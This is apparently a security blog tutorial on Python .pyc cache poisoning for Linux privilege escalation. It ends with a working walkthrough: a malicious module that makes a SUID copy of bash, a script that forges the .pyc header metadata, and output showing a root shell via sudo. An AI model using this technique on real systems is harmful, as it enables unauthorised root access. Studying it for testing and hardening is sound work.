Python Cache Poisoning – PrivEsc – Linux

Introduction

Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv‑esc) in misconfigured environments. It abuses how Python compiles and caches bytecode (.pyc files) to speed up execution. When an attacker can influence which bytecode is loaded—or where it is loaded from—they may execute arbitrary Python code in a higher-privileged context.

This attack class is especially relevant in:

  • Linux systems with SUID Python scripts
  • Root-owned automation (cron jobs, systemd services)
  • DevOps and CI/CD environments
  • Misconfigured containers or shared hosts

In this post, we will focus on how cache poisoning works, what you need to understand before attempting it, and the precise conditions required to escalate privileges using it.


Core Concepts to Understand Beforehand

Before diving into exploitation, you should be comfortable with the following Python and OS-level concepts.

1. Python Bytecode and .pyc Files

When Python runs a script or imports a module, it compiles the source code into bytecode, stored in .pyc files. These are typically located in:

  • __pycache__/module.cpython-XY.pyc
  • Or alongside the source file (older Python versions)

Python prefers loading bytecode if:

  • The .pyc file exists
  • The timestamp and metadata match expectations

This behavior is the foundation of cache poisoning.


2. Python Import Mechanism

Python resolves imports in a specific order:

  1. Current script directory
  2. Entries in PYTHONPATH
  3. Standard library paths

If an attacker can write to any directory searched during imports, they may inject a malicious module that gets imported instead of the intended one.


3. __pycache__ Trust Model

Python assumes that:

  • The filesystem is trustworthy
  • .pyc files are generated by legitimate users

There is no cryptographic validation of bytecode. If Python loads a malicious .pyc, it will execute it without question.


4. File Permissions and Ownership

Privilege escalation hinges on permission mismatches, such as:

  • Root executing Python code stored in user-writable directories
  • Root trusting bytecode generated by lower-privileged users
  • Group-writable directories used by privileged services

Understanding Linux permissions, sticky bits, and ownership is mandatory.


5. SUID and Privileged Execution Contexts

If a Python interpreter or script is executed with elevated privileges (directly or indirectly), any imported code inherits those privileges.

Examples:

  • SUID Python wrappers
  • Root cron jobs
  • System services running Python

What Is Python Cache Poisoning?

Python cache poisoning is the act of injecting or modifying Python bytecode so that a privileged Python process executes attacker-controlled instructions.

This can happen by:

  • Replacing a legitimate .pyc file
  • Creating a malicious .pyc before the real one exists
  • Abusing writable __pycache__ directories
  • Forcing Python to prefer attacker-controlled bytecode over source

Requirements to Achieve Privilege Escalation

For cache poisoning to result in priv‑esc, all or most of the following conditions must be met.


1. A Python Script Runs With Higher Privileges

The target must execute Python code as a more privileged user, commonly:

  • root
  • A service account (e.g., www-data, jenkins)

Typical vectors:

  • Cron jobs
  • systemd services
  • Backup or monitoring scripts

2. Writable Location in the Import or Cache Path

At least one of the following must be writable by the attacker:

  • The directory containing the Python script
  • The __pycache__ directory
  • A directory listed in PYTHONPATH
  • A module directory used by the script

This is the most critical condition.


3. Predictable Module Import

The privileged script must import a module that:

  • Is not fully qualified with an absolute path
  • Exists in a writable directory
  • Is imported automatically on execution

Common examples:

  • import utils
  • import config
  • from helpers import *

4. Python Version Compatibility

The injected .pyc must match:

  • The Python major and minor version
  • The correct bytecode magic number

Otherwise, Python will discard the cache and recompile from source.


5. Lack of Defensive Controls

The attack becomes trivial if:

  • PYTHONDONTWRITEBYTECODE is not enforced
  • The filesystem lacks nosuid, noexec, or strict permissions
  • There is no integrity monitoring (AIDE, Tripwire)

Common Real‑World Scenarios

  • Root cron job running a Python script from /opt/app/
  • Shared DevOps directory writable by developers
  • Docker containers running as root with bind-mounted volumes
  • Legacy Python 2 applications with flat .pyc storage

Exploitation Example

Enumerating the «sudo» privileges of a user I found that the user was able to execute a script with «sudo» privileges. Then, checking the directory was like:

user@machine:/opt/tools$ ls -la
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 11 07:54 ..
drwxr-xr-x 5 root root 4096 Dec 11 2026 extra
-rwxrwxr-x 1 root root 2739 Mar 22 2026 first_script.py
-rw-rw-r-- 1 root root 1245 Mar 23 2026 second_script.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__

We can see that we have 777 over «__pycache__», that means that we can actually poison any library that is imported on the scripts. Without disclosing the code of the scripts, the first script was importing the second, so, I was able to create a malicious pyc:

import os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")

Compile it:

python3.12 -m py_compile /tmp/exploit.py

Then, to make possible to python load our malicious pyc, we will poison the time of the file because Python is performing a validity check on your .pyc file. Since the original /opt/tools/second_script.py is still there, Python compares your malicious bytecode against the original source’s timestamp and size. When it sees they don’t match, it assumes the cache is «stale,» deletes your malicious file, and recompiles the original one. We will create the file /tmp/poison.py:

# poison.py
path_to_real_py = "/opt/tools/second_script.py"
path_to_my_pyc = "./__pycache__/exploit.cpython-312.pyc"
target_pyc = "/opt/tools/__pycache__/second_script.cpython-312.pyc"

import os
import struct

# 1. Get metadata from the real source file
stat = os.stat(path_to_real_py)
mtime = int(stat.st_mtime)
size = stat.st_size & 0xFFFFFFFF

# 2. Read your malicious bytecode
with open(path_to_my_pyc, "rb") as f:
    my_data = f.read()

# 3. Construct the valid header (16 bytes for Python 3.12)
# Magic (4 bytes) | Flags (4 bytes) | Timestamp (4 bytes) | Size (4 bytes)
magic = my_data[:4]
flags = b'\x00\x00\x00\x00'
header = magic + flags + struct.pack("<I", mtime) + struct.pack("<I", size)

# 4. Combine new header with malicious code (skip old header)
final_pyc = header + my_data[16:]

# 5. Write to the target
with open(target_pyc, "wb") as f:
    f.write(final_pyc)

print("[+] Malicious PYC poisoned with correct metadata!")

Once, we have executed the poisoner, we will have our pyc ready. Once, I have executed the script that I was able to run as sudo:

sudo /opt/tools/first_script.py --as Example

The exploit was executed and our bash with the SUID set up should be on /tmp/:

user@machine:/tmp$ /tmp/rootbash -p
rootbash-5.2# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)

Closing Notes

While modern best practices reduce the likelihood of this issue, real-world environments—especially internal tooling and automation—still expose it frequently.

In future sections, this topic can be expanded with:

  • Practical exploitation walkthroughs
  • Detection and prevention techniques
  • Hardening guidelines for defenders

I hope you liked the post! Happy Hacking!


Find more interesting post on:

Blog – Hardsoft Security

or subscribe to our newsletter to receive all the lastest posts:

Newsletter – Hardsoft Security

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.